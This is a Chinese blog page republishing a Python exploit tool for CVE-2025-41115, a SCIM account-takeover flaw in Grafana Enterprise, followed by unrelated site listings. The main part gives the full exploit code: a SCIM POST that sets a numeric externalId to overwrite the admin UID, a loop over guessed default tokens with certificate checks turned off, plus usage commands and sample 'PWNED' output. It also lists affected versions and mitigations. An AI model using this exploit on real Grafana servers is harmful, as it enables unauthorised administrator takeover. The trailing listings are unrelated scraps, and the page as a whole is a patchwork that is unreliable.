news 2026/4/18 9:51:40

Grafana Enterprise SCIM漏洞利用工具(CVE-2025-41115)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Grafana Enterprise SCIM漏洞利用工具(CVE-2025-41115)

Grafana Enterprise SCIM漏洞利用工具(CVE-2025-41115)

项目描述

这是一个用于演示和验证CVE-2025-41115漏洞的Python利用脚本。该漏洞是Grafana Enterprise中一个关键(CVSS 10.0)的安全漏洞,影响其SCIM用户配置功能。当攻击者能够向SCIM端点发送请求时,可以通过数字externalId参数覆盖现有用户的内部UID,从而实现权限提升管理员账户接管

⚠️注意:此工具仅供授权安全测试和教育用途。未经授权测试他人系统是非法行为。

功能特性

  • 自动化漏洞检测:自动尝试多个默认/泄露的SCIM令牌
  • 一键利用:只需提供目标URL即可尝试攻击
  • 实时反馈:清晰显示攻击结果和响应信息
  • 安全绕过:自动禁用SSL证书验证警告
  • 多令牌支持:内置多个可能有效的默认令牌
  • 时间戳防冲突:使用时间戳生成唯一攻击者邮箱

安装指南

系统要求

  • Python 3.x
  • requests
  • 网络访问目标Grafana实例的权限

安装步骤

  1. 克隆仓库
sudogitclone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.gitcdBlackash-CVE-2025-41115
  1. 安装依赖
pipinstallrequests
  1. 设置执行权限(可选)
chmod+x CVE-2025-41115.py

使用说明

基础用法

# 针对HTTP目标python3 CVE-2025-41115.py http://target.com:3000# 针对HTTPS目标python3 CVE-2025-41115.py https://grafana.company.com

攻击流程

  1. 脚本会尝试以下SCIM令牌:

    • 用户自定义令牌(需手动修改代码)
    • 默认泄露令牌(多个常见默认值)
  2. 如果攻击成功,输出将显示:

    • 使用的有效令牌(部分)
    • 创建的恶意账户凭据
    • 完整的API响应(包含被覆盖的UID)
  3. 成功后,可以使用创建的邮箱地址和任意密码登录为目标管理员。

预期输出示例

[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000 [*] Trying default/leaked tokens + your token... [+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx... [+] Login as: rooted1732212345@pwn.lab (any password) → you are now Admin! [+] Full response: { "schemas": [ "urn:ietf:params:scim:schemas:core:2.0:User" ], "id": "1", "externalId": "1", "userName": "rooted1732212345@pwn.lab", "name": { "formatted": "Pwned User" } }

漏洞条件

目标必须满足以下配置:

  1. SCIM功能启用:enableSCIM = true
  2. 用户同步启用:[auth.scim] user_sync_enabled = true

核心代码

主利用函数

deftry_exploit(token):headers={"Authorization":f"Bearer{token}","Content-Type":"application/scim+json"}payload={"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"userName":ATTACKER,"externalId":TARGET_UID,# 关键参数:数字ID会被错误映射为内部UID"name":{"formatted":"Pwned User"},"emails":[{"value":ATTACKER,"primary":True}],"active":True}try:r=requests.post(f"{BASE}/api/scim/v2/Users",json=payload,headers=headers,verify=False,timeout=10)ifr.status_codein(200,201):print(f"[+] PWNED with token →{token[:20]}...")print(f"[+] Login as:{ATTACKER}(any password) → you are now Admin!")print(f"[+] Full response:{json.dumps(r.json(),indent=2)}")returnTrueelif"Unauthorized"inr.textorr.status_code==401:returnFalseelse:print(f"[?] Unexpected response{r.status_code}:{r.text}")returnFalseexcept:returnFalse

默认令牌列表

# 内置的默认/泄露SCIM令牌列表DEFAULT_TOKENS=["glsa_11111111111111111111111111111111_11111111111111111111111111111111","glsa_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","glsa_00000000000000000000000000000000_00000000000000000000000000000000",TOKEN# 用户自定义令牌]

主执行逻辑

if__name__=="__main__":iflen(sys.argv)!=2:print("[!] Usage: python3 CVE-2025-41115.py http://target.com")sys.exit(1)BASE=sys.argv[1].rstrip("/")print(f"[*] CVE-2025-41115 → Targeting{BASE}")print("[*] Trying default/leaked tokens + your token...")# 依次尝试所有令牌fortinDEFAULT_TOKENS:iftry_exploit(t.strip()):sys.exit(0)print("[-] All tokens failed. You need a valid SCIM token (or the target is patched).")print(" Get one from: Admin → Authentication → SCIM → Generate token")

攻击者身份生成

# 使用时间戳生成唯一的攻击者邮箱,避免冲突ATTACKER=f"rooted{int(time.time())}@pwn.lab"TARGET_UID="1"# 目标UID,通常为管理员账户

受影响版本

版本状态
12.0.0 - 12.2.1❌ 受影响
12.3.0✅ 已修复
12.2.1(修复版)✅ 已修复
12.1.3✅ 已修复
12.0.6✅ 已修复

缓解措施

  1. 立即升级:更新到Grafana 12.3.0或已修复的维护版本
  2. 检查配置:如果不使用SCIM,确保enableSCIM = falseuser_sync_enabled = false
  3. 审计日志:监控意外的用户创建和权限变更
  4. 信任边界:仅允许可信的身份提供商访问SCIM端点

免责声明

本工具仅用于授权安全测试教育目的。使用者需确保:

  • 仅测试自己拥有或获得书面授权测试的系统
  • 遵守所有适用的法律和法规
  • 对使用此工具造成的任何后果承担全部责任

建议所有Grafana Enterprise用户立即检查并应用相关安全补丁。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5ChaGK4dzijQQbdG477RY9
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 7:54:28

破阵阁aaa

太好了,又水一集挺难的,不过好在还是有签到题代码中的秘密misc但是靶机不过是签到:查看robots.txt 中发现了 clue。 提示网站可能存在 RIPS 扫描器的遗留文件。访问 /rips/ 路径后,利用 RIPS 扫描器的功能对服务器 web 根目录&…

作者头像 李华
网站建设 2026/4/16 12:33:58

细胞多尺度仿真软件:CellSys_(1).细胞多尺度仿真的基础概念

细胞多尺度仿真的基础概念 在细胞多尺度仿真软件的开发和应用中,理解多尺度仿真的基础概念是至关重要的。多尺度仿真指的是在不同时间和空间尺度上对细胞及其内部和外部环境进行建模和仿真的技术。这些尺度包括分子尺度、细胞尺度、组织尺度和器官尺度等。每种尺度都…

作者头像 李华
网站建设 2026/4/17 18:11:05

细胞多尺度仿真软件:MCell_(4).MCell的用户界面与基本操作

MCell的用户界面与基本操作 用户界面概述 MCell 是一个用于细胞多尺度仿真的软件,其用户界面设计旨在为用户提供直观、高效的操作体验。MCell 的用户界面主要包括以下几个部分:主窗口:显示主要的仿真结果和控制面板。控制台:用于输…

作者头像 李华
网站建设 2026/4/11 10:33:13

探索大数据领域 Hadoop 的分布式存储奥秘

探索Hadoop分布式存储奥秘:从原理到实践的深度解析 副标题:揭秘HDFS的设计哲学与工程实现 摘要/引言 当你需要处理10TB的日志文件、训练100GB的机器学习模型,或者存储PB级的用户行为数据时,传统单机存储会立刻暴露三大痛点: 容量瓶颈:单机硬盘最多几个TB,根本装不下P…

作者头像 李华
网站建设 2026/4/18 5:38:17

【小程序毕设源码分享】基于springboot+Android的多功能智能手机阅读APP的设计与实现(程序+文档+代码讲解+一条龙定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华